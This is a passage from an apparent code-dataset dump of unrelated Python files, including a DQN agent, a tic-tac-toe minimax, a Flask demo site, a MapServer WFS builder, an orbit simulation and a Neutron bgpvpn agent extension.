self.update_standardization_parameters()\n # print(np.shape(self.mean_state), np.shape(self.std_state))\n minibatch_n = self.normalize_minibatch(minibatch)\n states_mb = np.array([each[0] for each in minibatch_n], ndmin=3)\n actions_mb = np.zeros((len(idx), self.action_size))\n next_states_mb = np.array([each[2] for each in minibatch_n], ndmin=3)\n allowed_actions = [each[4] for each in minibatch]\n target_q_batch = []\n q_next_state = self.tf_session.run(\n self.q_network.output,\n feed_dict={self.q_network.inputs: next_states_mb} # i.e. q-value of the next state\n )\n q_target_next_state = self.tf_session.run(\n self.target_network.output,\n feed_dict={self.target_network.inputs: next_states_mb}\n )\n for i in range(len(idx)):\n actions_mb[i, minibatch[i][1]] = 1\n action = self.best_allowed_action(q_next_state[i], allowed_actions[i])\n reward = minibatch_n[i][1]\n target = reward + self.discount_rate * q_target_next_state[i][action]\n target_q_batch.append(target)\n targets_mb = np.array(target_q_batch)\n _, loss, errors = self.tf_session.run(\n [self.q_network.optimizer, self.q_network.loss, self.q_network.absolute_errors],\n feed_dict = {\n self.q_network.inputs: states_mb,\n self.q_network.q_target: targets_mb,\n self.q_network.outputs: actions_mb,\n self.q_network.is_weights: is_weights\n }\n )\n\n self.update_priorities(idx, errors)\n summary = self.tf_session.run(\n self.write_op,\n feed_dict = {\n self.q_network.inputs: states_mb,\n self.q_network.q_target: targets_mb,\n self.q_network.outputs: actions_mb,\n self.q_network.is_weights: is_weights\n }\n )\n self.losses.append(float(loss))\n count += 1\n if count >= self.replays_per_epoch or batch_i == n_batches - 1:\n update_target = self.update_target_graph()\n self.tf_session.run(update_target)\n self.writer.add_summary(summary, self.epoch)\n self.writer.flush()\n self.epoch += 1\n total_count += count\n count = 0\n print('Model has been updated after learning {0} batches of length {1} out of {2}.'.format(total_count, self.batch_size, len(self.memory)))\n self.save_model()\n except Exception as e:\n print('Could not replay from experience because of {0}'.format(e))\n\n self.training_in_progress = False\n\n def save_memory(self):\n with open(self.memory_file, 'wb') as f:\n pickle.dump(self.memory, f)\n pickle.dump(self.per_priority, f)\n print('Memory has been saved!')\n\n def load_memory(self):\n with open(self.memory_file, 'rb') as f:\n self.memory = pickle.load(f)\n self.per_priority = pickle.load(f)\n print('Memory has been loaded!')\n\n def save_stats(self):\n with open(self.stats_file, 'wb') as f:\n pickle.dump(self.test_scores, f)\n print('Stats have been saved!')\n\n def load_stats(self):\n with open(self.stats_file, 'rb') as f:\n self.test_scores = pickle.load(f)\n print('Stats have been loaded!')","sub_path":"agents/dqn_agent.py","file_name":"dqn_agent.py","file_ext":"py","file_size_in_byte":14587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585869749","text":"# ミニマックス法\ngoal = [\n 0b111000000, 0b000111000, 0b000000111, \n 0b100100100, 0b010010010, 0b001001001,\n 0b100010001, 0b001010100\n]\n\n# 3つ並んだか判定\ndef check(player):\n for mask in goal:\n if player & mask == mask:\n return True\n return False\n\n# ミニマックス法\ndef minmax(p1, p2, turn):\n if check(p2):\n if turn: #自分の手番の時は勝ち\n return 1\n else:\n return -1\n\n board = p1 | p2\n if board == 0b111111111: #すべて埋まっていれば引き分け\n return 0\n\n w = [i for i in range(9) if(board & (1 << i)) == 0]\n\n if turn: #自分と手番の時は最小値を選ぶ\n return min([minmax(p2, p1 | (1 << i), not turn) for i in w])\n else: #相手が手番の時は最大値を選ぶ\n return max([minmax(p2, p1 | (1 << i), not turn) for i in w])\n\n# 交互に置く\ndef play(p1, p2, turn):\n if check(p2): #3つ並んでいたら出力して終了\n print([bin(p1), bin(p2)])\n return\n\n board = p1 | p2\n if board == 0b111111111: #すべて置いたら引き分けで終了\n print([bin(p1), bin(p2)])\n return\n\n # 置ける場所を探す\n w = [i for i in range(9) if(board & (1 << i)) == 0]\n # 各場所に置いた時の評価値を調べる\n r = [minmax(p2, p1 | (1 << i), True) for i in w]\n # 評価値が一番高い場所を取得する\n j = w[r.index(max(r))]\n play(p2, p1 | (1 << j), not turn)\n\nplay(0, 0, True)\n\n\n\n","sub_path":"marubatsu2.py","file_name":"marubatsu2.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"147953977","text":"import io\nimport gzip\nfrom gensim.models.fasttext import FastText\nfrom sklearn import metrics\nimport numpy as np\n\ndef find_synonyms(fname, word):\n #lines = [x.decode('utf8').strip() for x in fname.readlines()]\n fin = io.open(fname, 'r', encoding='utf-8', newline='\\n', errors='ignore')\n n, d = map(int, fin.readline().split())\n #print(fin.readline().split())\n data = {}\n #for line in fin:\n counter = 0\n while counter < 5000:\n line = fin.readline()\n #print(line)\n #tokens = line.rstrip().split(' ')\n tokens = str(line).split(' ')\n #print('Tokens: ')\n #print(tokens)\n #das untere geht viel länger als das obere\n #data[tokens[0]] = map(float, tokens[1:])\n data[tokens[0]] = tokens[1:]\n #print('Data: ')\n #print(data)\n counter += 1\n #print(\"Cosine similarity to \" + word + \": \")\n distances = {}\n for item in data:\n #print(item)\n if item == word:\n pass\n else:\n distance = metrics.pairwise.cosine_distances([data[item]], [data[word]])\n #Bsp. König\n if distance > 0.3 and distance < 0.5:\n distances[item] = distance\n #print(metrics.pairwise.cosine_distances([data[item]], [data[word]]))\n key_min = min(distances.keys(), key=(lambda k: distances[k]))\n print('Min. Distanz')\n print(key_min)\n print(distances[key_min])\n return(key_min)\n\n\nif __name__ == \"__main__\":\n find_synonyms(\"../../../cc.de.300.vec\", 'Betreuung')","sub_path":"var/www/cgi-bin/extract_word_vecs.py","file_name":"extract_word_vecs.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"523959499","text":"\n\ndef test_list_labels(O):\n errors = []\n\n O.addVertex(\"1\", \"Person\", {\"name\": \"marko\", \"age\": \"29\"})\n O.addVertex(\"2\", \"Person\", {\"name\": \"vadas\", \"age\": \"27\"})\n O.addVertex(\"3\", \"Software\", {\"name\": \"lop\", \"lang\": \"java\"})\n O.addVertex(\"4\", \"Person\", {\"name\": \"josh\", \"age\": \"32\"})\n O.addVertex(\"5\", \"Software\", {\"name\": \"ripple\", \"lang\": \"java\"})\n O.addVertex(\"6\", \"Person\", {\"name\": \"peter\", \"age\": \"35\"})\n O.addVertex(\"7\", \"Person\", {\"name\": \"marko\", \"age\": \"35\"})\n\n O.addEdge(\"1\", \"3\", \"created\", {\"weight\": 0.4})\n O.addEdge(\"1\", \"2\", \"knows\", {\"weight\": 0.5})\n O.addEdge(\"1\", \"4\", \"knows\", {\"weight\": 1.0})\n O.addEdge(\"4\", \"3\", \"created\", {\"weight\": 0.4})\n O.addEdge(\"6\", \"3\", \"created\", {\"weight\": 0.2})\n O.addEdge(\"4\", \"5\", \"created\", {\"weight\": 1.0})\n\n resp = O.listLabels()\n print(resp)\n if len(resp[\"vertex_labels\"]) != 2:\n errors.append(\"listLabels returned an unexpected number of vertex labels; %d != 2\" % (len(resp[\"vertex_labels\"])))\n if sorted(resp[\"vertex_labels\"]) != [\"Person\", \"Software\"]:\n errors.append(\"listLabels returned unexpected vertex labels\")\n if len(resp[\"edge_labels\"]) != 2:\n errors.append(\"listLabels returned an unexpected number of edge labels; %d != 2\" % (len(resp[\"edge_labels\"])))\n if sorted(resp[\"edge_labels\"]) != [\"created\", \"knows\"]:\n errors.append(\"listLabels returned unexpected edge labels\")\n\n return errors\n","sub_path":"conformance/tests/ot_labels.py","file_name":"ot_labels.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"266891311","text":"#Julian Atkin\n#SoftDev1 pd8\n#HW02 -- Fill Your Flask\n#2016-09-20\n\nfrom flask import Flask\n\napp = Flask(__name__)\n\ndef genHTML(title,style,body):\n ans = '''\\\n<!DOCTYPE html>\n<html>\n<head>\n<title>\\\n'''+title+\"\\n\\n\\n\\n\"+body+\"\\n\\n\"\n\n@app.route(\"/\")\ndef page1():\n return genHTML(\"Julian Atkin's Mansion of Mystery\",{},'''\n

Mystery Awaits

\n''')\n\n@app.route(\"/mystery\")\ndef mystery():\n return genHTML(\"A Bit of Mystery: Enter if you dare!\", {\n \"html, body\": {\n \"width\": \"100%\",\n \"height\": \"100%\",\n \"overflow\": \"hidden\"\n },\n \"body\": {\n \"background\": \"url('http://bogleech.com/halloween/scenesetter-mansion.jpg')\"\n },\n \"#sparkles\": {\n \"width\": \"100%\",\n \"height\": \"100%\",\n \"position\": \"fixed\",\n \"background\": \"url('https://media.giphy.com/media/e0x1ctKBmQMSc/giphy.gif')\",\n \"pointer-events\": \"none\"\n },\n \"#text\": {\n \"position\": \"fixed\",\n \"font-family\": \"monospace\",\n \"color\": \"#eee\"\n },\n \"#text:hover\": {\n \"color\": \"#cc0000\"\n }\n }, '''\n

Enter if you dare

\n
\n''')\n\n@app.route(\"/moonlightmansion\")\ndef moonlightmansion():\n return genHTML(\"You've made your way to my inner sanctum\",{\n \"body\": {\n \"background\": \"url('http://il8.picdn.net/shutterstock/videos/6764461/thumb/1.jpg')\"\n },\n \"h1\": {\n \"color\": \"#fff\"\n }\n },'''\n

Congratulations, friend!

\n ''')\n\nif (__name__ == \"__main__\"):\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"106942742","text":"#!/usr/bin/env python\n# coding=utf-8\n\nfrom OWS import OWS\nimport mapscript\nimport cgi\nfrom lxml import objectify\nimport urllib\nimport urlparse\nimport logging\nfrom osgeo import ogr\nimport os\n\n\nclass WFS(OWS):\n\n service = \"WFS\"\n\n def __init__(self,url=None,qstring=None,configFiles=None):\n OWS.__init__(self,url,qstring)\n\n def makeMap(self,mapfilename=None):\n\n mapobj = self.getMapObj(mapfilename)\n\n for layer in self.capabilities.FeatureTypeList.getchildren():\n if layer.tag != \"{http://www.opengis.net/wfs}FeatureType\":\n continue\n name = layer.Name.text\n logging.debug(\"Creating layer %s\" % name)\n \n\n layerDefFile = self.createLayerDefinitionFile(name,\n os.path.join( os.path.dirname(__file__), \"templates\",'wfs.xml'))\n\n ds = ogr.Open(layerDefFile)\n\n lyrobj = mapscript.layerObj(mapobj)\n lyrobj.name = name\n lyrobj.title = layer.Title.text\n lyrobj.data = layerDefFile\n lyrobj.setMetaData(\"wms_title\",layer.Title.text)\n lyrobj.setMetaData(\"wfs_typename\",layer.Name.text)\n lyrobj.setMetaData(\"wfs_version\",self.capabilities.attrib[\"version\"])\n\n if ds:\n ogrLayer = ds.GetLayerByName(name)\n if ogrLayer:\n feature = ogrLayer.GetNextFeature()\n if feature:\n geom = feature.GetGeometryRef()\n if geom:\n lyrobj.type = self.getGeomName(geom.GetGeometryName())\n else:\n mapobj.removeLayer(mapobj.numlayers-1)\n logging.debug(\"No ogrGeometry found\")\n continue\n else:\n mapobj.removeLayer(mapobj.numlayers-1)\n logging.debug(\"No ogrFeature found\")\n continue\n else:\n mapobj.removeLayer(mapobj.numlayers-1)\n logging.debug(\"No ogrLayer found\")\n continue\n else:\n mapobj.removeLayer(mapobj.numlayers-1)\n logging.debug(\"No ogrDataSource found\")\n continue\n\n lyrobj.setProjection(layer.SRS.text)\n lyrobj.dump = mapscript.MS_TRUE \n lyrobj.template = \"foo\"\n cls = mapscript.classObj(lyrobj)\n style = mapscript.styleObj(cls)\n style.outlinecolor=mapscript.colorObj(134,81,0)\n style.color=mapscript.colorObj(238,153,0)\n style.size=5\n style.width=5\n\n self.saveMapfile(mapobj,mapfilename)\n return mapobj\n \n def getGeomName(self,geomname):\n\n if geomname.find(\"LINE\") > -1:\n return mapscript.MS_LAYER_LINE\n elif geomname.find(\"POLYGON\") > -1:\n return mapscript.MS_LAYER_POLYGON\n else:\n return mapscript.MS_LAYER_POINT\n\n","sub_path":"django/lifeten/lifeten/static/hslayers-3.5/source/scripts/hslframework/owsviewer/wfs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"76889658","text":"import requests # need to install in settings\r\nimport json\r\nimport pytest\r\n\r\n\r\nclass RestObject:\r\n def __init__(self, d):\r\n self.__dict__ = d\r\n\r\n def __str__(self):\r\n result = \"\"\r\n for k, v in self.__dict__.items():\r\n result += k\r\n result += \" : \"\r\n result += str(v)\r\n result += '\\n'\r\n return result\r\n\r\n\r\ndef test_rest_api_get_coupon():\r\n resp = requests.get(\"http://localhost:8080/coupon/1\")\r\n d = json.loads(resp.content)\r\n t = RestObject(d)\r\n assert t.title == 'Caffe'\r\n assert t.id == 1\r\n\r\n\r\ndef test_rest_api_post_coupon():\r\n resp = requests.post(\"http://localhost:8080/coupon\",\r\n data='{\"id\": 4, \"title\": \"shwarma\"}',\r\n headers={\"Content-type\": \"application/json\"});\r\n print(f'Status code = {resp.status_code}');\r\n\r\n\r\ndef test_rest_api_update_coupon():\r\n resp = requests.put(\"http://localhost:8080/coupon/4\",\r\n data='{\"id\": 4, \"title\": \"shwarmama\"}',\r\n headers={\"Content-type\": \"application/json\"});\r\n print(f'Status code = {resp.status_code}');\r\n\r\n\r\ndef test_rest_api_del_coupon():\r\n resp = requests.delete(\"http://localhost:8080/coupon/4\")\r\n print(f'Status code = {resp.status_code}');\r\n\r\n\r\ndef test_rest_api_get_coupon4():\r\n resp = requests.get(\"http://localhost:8080/coupon/4\")\r\n assert resp.content.decode('utf8').replace(\"'\", '\"') == ''\r\n","sub_path":"pytest/rest_api_test.py","file_name":"rest_api_test.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"104326569","text":"from visual import *\r\nfrom visual.graph import *\r\n\r\n\r\nclass planet(sphere):\r\n\r\n # Planet constructor\r\n def __init__(self, name, pos, radius, color, mass, velocity):\r\n sphere.__init__(self)\r\n self.name = name\r\n self.pos = pos\r\n self.radius = radius\r\n self.color = color\r\n self.mass = mass\r\n self.vel = velocity\r\n self.p = velocity * mass\r\n\r\n\r\nclass main():\r\n\r\n # Simulator constructor\r\n def __init__(self):\r\n self.running = True\r\n\r\n # Initializes all parameters and objects\r\n def new(self):\r\n self.planets = []\r\n self.Sun = planet(\"Sun\", vector(0, 0, 0), 1, color.yellow, 100, vector(0, 0, 0))\r\n self.Earth = planet(\"Earth\", vector(6, 0, 0), 0.1, color.blue, 0.1, vector(0, 0, -3))\r\n self.EarthSunForceVector = arrow(pos=self.Earth.pos)\r\n self.EarthSunForceVector.color = color.white\r\n self.EarthVelocityVector = arrow(pos=self.Earth.pos)\r\n self.EarthVelocityVector.color = color.red\r\n self.planets.append(self.Sun)\r\n self.planets.append(self.Earth)\r\n self.allobjects = []\r\n self.allobjects.append(self.EarthVelocityVector)\r\n self.allobjects.append(self.EarthSunForceVector)\r\n self.allobjects.append(self.planets)\r\n for p in self.planets:\r\n p.orbit = curve(color=p.color, radius=0.01)\r\n self.addplots()\r\n self.Vmax = 0\r\n self.Vmin = 1000000000\r\n self.Dmax = 0\r\n self.Dmin = 1000000000\r\n self.SMApoint1 = 0\r\n self.SMApoint2 = 0\r\n\r\n # Simulator start up\r\n def run(self):\r\n g.new()\r\n self.simulate = True\r\n scene.bind('keydown', g.events)\r\n while self.simulate:\r\n rate(100)\r\n g.update()\r\n\r\n # Initializes graphs\r\n def addplots(self):\r\n\r\n # Plot Velocity\r\n self.velDisplay = gdisplay(x=1000, y=0, width=800, height=600,\r\n foreground=color.white, background=color.black,\r\n title=\"Velocities of Planets\", xtitle=\"time\", ytitle=\"velocity\")\r\n self.v1 = gcurve(color=self.Sun.color)\r\n self.v2 = gcurve(color=self.Earth.color)\r\n self.v3 = gcurve(color=color.white)\r\n self.t = 0\r\n\r\n # Plot Energy\r\n self.energyDisplay = gdisplay(x=0, y=300, foreground=color.white, background=color.black,\r\n title=\"Energy of System\",\r\n xmin=0, xmax=1000)\r\n self.e1 = gcurve(color=self.Earth.color)\r\n self.e2 = gcurve(color=color.red)\r\n self.e3 = gcurve(color=color.white)\r\n\r\n # Plot Distance\r\n self.forceDisplay = gdisplay(x=0, y=300, foreground=color.white, background=color.black,\r\n title=\"Force betweeen planets\",\r\n xmin=0, xmax=2000)\r\n self.r1 = gcurve(color=self.Earth.color)\r\n\r\n # Updates plots and physics\r\n def update(self):\r\n\r\n # Adds force to momentum (update vel)\r\n self.dist = self.Earth.pos - self.Sun.pos\r\n G = 1\r\n dt = 0.01\r\n force = G * self.Sun.mass * self.Earth.mass * norm(self.dist) / mag(self.dist) ** 2\r\n\r\n ## leapfrog method\r\n self.Earth.p = self.Earth.p - force * dt\r\n self.Earth.vel = self.Earth.vel - force * dt / self.Earth.mass\r\n self.Sun.p = self.Sun.p + force * dt\r\n self.Sun.vel = self.Sun.vel - force * dt / self.Sun.mass\r\n\r\n # Adds momentum to position (update pos)\r\n for a in self.planets:\r\n a.pos = a.pos + a.p / a.mass * dt\r\n a.orbit.append(pos=a.pos)\r\n\r\n # Everything to do with Earth-Sun Vectors\r\n self.EarthSunForceVector.pos = self.Earth.pos\r\n self.EarthSunForceVector.axis = - force\r\n #self.EarthSunForceVector.length = mag(force)\r\n self.EarthSunForceVector.shaftwidth = 0.075\r\n\r\n self.EarthVelocityVector.pos = self.Earth.pos\r\n # self.EarthVelocityVector.length = mag(self.Earth.vel) / 10\r\n self.EarthVelocityVector.axis = self.Earth.vel / 2\r\n self.EarthVelocityVector.shaftwidth = 0.075\r\n\r\n\r\n self.PE = -G * self.Sun.mass * self.Earth.mass / mag(self.dist)\r\n self.KE = 0.5 * G * self.Sun.mass * self.Earth.mass / mag(self.dist)\r\n # Plots velocity\r\n self.v1.plot(pos=(self.t, mag(self.Sun.vel)))\r\n self.v2.plot(pos=(self.t, mag(self.Earth.vel)))\r\n\r\n\r\n # Plots Energy\r\n self.e1.plot(pos=(self.t, self.KE))\r\n self.e2.plot(pos=(self.t, self.PE))\r\n self.e3.plot(pos=(self.t, self.KE + self.PE))\r\n # Plots distance\r\n self.r1.plot(pos=(self.t, mag(force)))\r\n self.t += 1\r\n\r\n\r\n # Calculate Vmax & Vmin\r\n if self.Vmax < round(mag(self.Earth.vel), 2):\r\n self.Vmax = round(mag(self.Earth.vel), 2)\r\n #print(\"Vmax is \" + str(self.Vmax))\r\n else:\r\n self.Vmax = self.Vmax\r\n #print(\"Vmax is \" + str(self.Vmax))\r\n if self.Vmin > round(mag(self.Earth.vel), 2):\r\n self.Vmin = round(mag(self.Earth.vel), 2)\r\n #print(\"Vmin is \" + str(self.Vmin))\r\n else:\r\n self.Vmin = self.Vmin\r\n #print(\"Vmin is \" + str(self.Vmin))\r\n\r\n # Calculate Eccentricity\r\n if self.Dmax < round(mag(self.dist), 2):\r\n self.Dmax = round(mag(self.dist), 2)\r\n if self.Dmin > round(mag(self.dist), 2):\r\n self.Dmin = round(mag(self.dist), 2)\r\n\r\n self.eccentricity = 1 - 2 / ((self.Dmax / self.Dmin) + 1)\r\n\r\n # Calculate Semi-minor axis length\r\n self.semiMajorAxis = self.Dmax - self.Dmin\r\n\r\n # Calculate Period\r\n self.period = 2*pi*sqrt(self.semiMajorAxis**3 / G*self.Sun.mass)\r\n\r\n # Event Handler\r\n def events(self, evt):\r\n if scene.kb.getkey() == 'q':\r\n self.simulate = False\r\n g.report()\r\n exit()\r\n\r\n # Reports all data\r\n def report(self):\r\n self.planetList = \"\"\r\n for p in self.planets:\r\n self.planetList += str(p.name + \", \")\r\n print(\"Final report for \" + self.planetList + \" system.\")\r\n print(\"-------------------------------\")\r\n print(\" Vmax is \" + str(self.Vmax))\r\n print(\" Vmin is \" + str(self.Vmin))\r\n print(\" Dmax is \" + str(self.Dmin))\r\n print(\" Dmin is \" + str(self.Dmax))\r\n print(\" Length of semi-major axis is \" + str(self.semiMajorAxis))\r\n print(\" Period is \" + str(self.period))\r\n print(\" Eccentricity is \" + str(round(self.eccentricity, 2)))\r\n\r\n\r\ng = main()\r\ng.run()\r\n\r\n\r\n\r\n\r\n","sub_path":"Planets/Planets.py","file_name":"Planets.py","file_ext":"py","file_size_in_byte":6686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"381864683","text":"import sys\n\n\ndef my_round(num):\n if num - int(num) >= 0.5:\n return int(num) + 1\n else:\n return int(num)\n # == return int(num) + (1 if num - int(num) >= 0.5 else 0)\n\n\nif __name__ == '__main__':\n n = int(sys.stdin.readline())\n if not n:\n print(0)\n else:\n difficulty = [int(sys.stdin.readline()) for _ in range(n)]\n difficulty.sort()\n exception = my_round(n * 0.15)\n\n if exception != 0:\n difficulty = difficulty[exception: -exception]\n cnt = n - 2 * exception\n result = sum(difficulty)\n print(my_round(result / cnt))\n","sub_path":"BOJ/math/18110.py","file_name":"18110.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"526277172","text":"# Copyright (c) 2015 Orange.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"\nL2 Agent extension to support bagpipe networking-bgpvpn driver RPCs in the\nOpenVSwitch agent\n\"\"\"\n\nimport types\n\nfrom networking_bagpipe.agent import bagpipe_bgp_agent\n\nfrom neutron_lib import constants as n_const\n\nfrom neutron.agent.l2 import agent_extension\n\nfrom neutron.plugins.ml2.drivers.openvswitch.agent.common \\\n import constants as ovs_agt_constants\nfrom neutron.plugins.ml2.drivers.openvswitch.agent.openflow.native \\\n import br_tun as native_br_tun\nfrom neutron.plugins.ml2.drivers.openvswitch.agent.openflow.ovs_ofctl \\\n import br_tun as ofctl_br_tun\nfrom neutron.plugins.ml2.drivers.openvswitch.agent import \\\n ovs_agent_extension_api\n\n\nclass OVSBridgeIntercept(ofctl_br_tun.OVSTunnelBridge,\n native_br_tun.OVSTunnelBridge):\n \"\"\"Interception bridge\n\n Making sure that specific calls end up using the cookie-specific\n code of the cookie bridge.\n \"\"\"\n\n _COOKIE_BRIDGE_METHODS = [\n 'add_flow',\n 'del_flow',\n 'mod_flows',\n 'do_action_flows',\n ]\n\n def __init__(self, bridge):\n \"\"\"OVSBridgeIntercept\n\n :param bridge: underlying cookie bridge\n :type bridge: OVSCookieBridge\n \"\"\"\n # The inheritance from ofctl_br_tun.OVSTunnelBridge and\n # ofctl_br_tun.OVSTunnelBridge is here to allow calling their\n # methods with a OVSBridgeIntercept 'self'\n # This does not result in actual calls to propagate to these mother\n # classes via simple inheritance, because of the special code in\n # __getattribute__ that redirect these calls with a vooded self\n\n if not isinstance(bridge, ovs_agent_extension_api.OVSCookieBridge):\n raise Exception(\"Bridge has to be an OVSCookieBridge\")\n\n self.bridge = bridge\n\n def __getattribute__(self, name):\n cookie_bridge = object.__getattribute__(self, 'bridge')\n\n # classes not using add_flow/del_flow etc, but reading\n # self._default_cookie, such as native_br_tun.OVSTunnelBridge\n # will get the right cookie:\n if name == \"_default_cookie\":\n return cookie_bridge._cookie\n\n # the cookie-specific methods need to be mapped to the CookieBridge\n if name in OVSBridgeIntercept._COOKIE_BRIDGE_METHODS:\n return getattr(cookie_bridge, name)\n\n # cookie_bridge.bridge is the bridge behind it and should be an\n # OVSTunnelBridge\n attr = getattr(cookie_bridge.bridge.__class__, name, None)\n # flake8: noqa\n # pylint: disable=unidiomatic-typecheck\n if (type(attr) is types.MethodType or\n type(attr) is types.FunctionType):\n # The code below will result in calling the on the\n # right parent class of the underlying bridge, but with our\n # instance passed as 'self'; this ensure that when the said method\n # ends up calling add/del/mod_flows, it will use the method of the\n # OVSCookieBridge, that uses the extension-specific cookie.\n #\n # The condition that must be respected is that OVSBridgeIntercept\n # is a subclass of all the bridge classes implementing the\n # intercepted functions.\n #\n # the __getattribute__ implemenation below ensures that our\n # instance passed instead of self, will still behave like the\n # underlying bridge.\n return lambda *args, **kwargs: attr(self, *args, **kwargs)\n\n return getattr(cookie_bridge, name)\n\n\nclass BagpipeBgpvpnAgentExtension(agent_extension.AgentCoreResourceExtension):\n\n def initialize(self, connection, driver_type):\n\n if driver_type != ovs_agt_constants.EXTENSION_DRIVER_TYPE:\n raise Exception(\"This extension is currently works only with the\"\n \" OVS Agent\")\n\n # Create an HTTP client for BaGPipe BGP component REST service\n self.bagpipe_bgp_agent = bagpipe_bgp_agent.BaGPipeBGPAgent(\n n_const.AGENT_TYPE_OVS,\n connection,\n int_br=self.int_br,\n tun_br=OVSBridgeIntercept(self.tun_br),\n )\n\n def consume_api(self, agent_api):\n self.int_br = agent_api.request_int_br()\n self.tun_br = agent_api.request_tun_br()\n\n def handle_port(self, context, data):\n pass\n\n def delete_port(self, context, data):\n pass\n","sub_path":"networking_bgpvpn/neutron/services/service_drivers/bagpipe/agent_extension.py","file_name":"agent_extension.py","file_ext":"py","file_size_in_byte":5031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"54977986","text":"import logging\n\nlog = logging.getLogger(__name__)\n\n__all__ = ['Queue']\n\n\nclass Queue(object):\n def __init__(self, name):\n super(Queue, self).__init__()\n self.name = name\n self.parameters = []\n\n def addParameter(self, param, val):\n try:\n self.getParameter(param)\n except ValueError:\n self.parameters.append({'name': param, 'value': val})\n return\n\n log.warning('Cannot replace existing parameter.')\n raise ValueError\n\n def getParameter(self, param):\n for p in self.parameters:\n if p.get('name') == param:\n return p.get('value')\n\n raise ValueError\n\n def todict(self):\n if self.parameters:\n children = [{'tag': 'param', 'attrs': p} for p in self.parameters]\n\n return {\n 'tag': 'queue',\n 'children': children,\n 'attrs': {\n 'name': self.name\n }\n }\n","sub_path":"freeswitch/configuration/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"126261688","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Script to set the version number wherever it's needed before a release.\"\"\"\n\nfrom __future__ import unicode_literals, print_function\nimport codecs\nimport os\nimport re\nimport sys\nimport glob\n\n\ndef sed_like_thing(pattern, repl, path):\n \"\"\"Like re.sub but applies to a file instead of a string.\"\"\"\n\n with codecs.open(path, 'rb', 'utf8') as inf:\n data = inf.read()\n\n data = re.sub(pattern, repl, data)\n\n with codecs.open(path, 'wb+', 'utf8') as outf:\n outf.write(data)\n\nif __name__ == \"__main__\":\n inpf = raw_input if sys.version_info[0] == 2 else input\n version = inpf(\"New version number (in format X.Y.Z): \").strip()\n\n for doc in glob.glob(os.path.join(\"docs/*.txt\")):\n sed_like_thing(\":Version: .*\", \":Version: {0}\".format(version), doc)\n\n sed_like_thing(\"version='.+'\", \"version='{0}'\".format(version), 'setup.py')\n sed_like_thing(\"version = '.+'\", \"version = '{0}'\".format(version), os.path.join('docs', 'sphinx', 'conf.py'))\n sed_like_thing(\"release = '.+'\", \"release = '{0}'\".format(version), os.path.join('docs', 'sphinx', 'conf.py'))\n sed_like_thing('__version__ = \".*\"', '__version__ = \"{0}\"'.format(version), os.path.join('nikola', '__init__.py'))\n sed_like_thing('New in master', 'New in v{0}'.format(version), 'CHANGES.txt')\n os.system(\"help2man -h help -N --version-string='{0}' nikola > {1}\".format(version, os.path.join('docs', 'man', 'nikola.1')))\n","sub_path":"scripts/set_version.py","file_name":"set_version.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"252808803","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\n@author: lizhifeng\n@contact: lizhifeng2009@126.com\n@site: \n@file: main.py\n@time: 9/13/16 11:06 AM\n\"\"\"\n\nimport json\nimport csv\n\ndef load(filename, n, value_index=2, name_index=0):\n names = []\n matrix = []\n k = 0\n for line in open(filename):\n segs = line.strip('\\n').split(',')\n # name = segs[name_index]\n name = \",\".join(segs[0:2])\n v = segs[value_index]\n names.append(name)\n vec = []\n for i in v:\n vec.append(eval(i))\n\n matrix.append(vec)\n\n k += 1\n if k == n:\n break\n\n return names, matrix\n\n\ndef dist(vec1, vec2):\n s1 = sum(vec1)\n s2 = sum(vec2)\n com = 0\n for i in range(len(vec1)):\n if vec1[i] == vec2[i]:\n com += vec1[i]\n\n d = (1 - (float(com)/(s1 + s2 -com)))\n d = (float(com)/(s1 + s2 -com))\n # return int(d/0.01)\n\n return d\n\ndef buid_json(names, matrix):\n js = {}\n js[\"nodes\"] = []\n for name in names:\n m = {\"id\": name, \"group\": 1}\n js[\"nodes\"].append(m)\n\n js[\"links\"] = []\n\n n = len(names)\n for i in range(n-1):\n # break\n for j in range(i+1, n):\n\n # try:\n d = dist(matrix[i], matrix[j])\n # if d < 0.8:\n # continue\n\n # d = (d - 0.9) /0.05\n # d = d - 0.9\n m = {\"source\": names[i], \"target\": names[j], \"value\": d}\n js[\"links\"].append(m)\n # except:\n # print i, j\n\n # if j > 5:\n # break\n #\n # if i == 5:\n # break\n\n\n return js\n\n\n\n\nif __name__ == '__main__':\n\n names, matrix = load(filename='../data/name_formula_fingerprint_3k.text', n=1000)\n # print matrix\n # print len(matrix)\n # print len(names)\n # js = 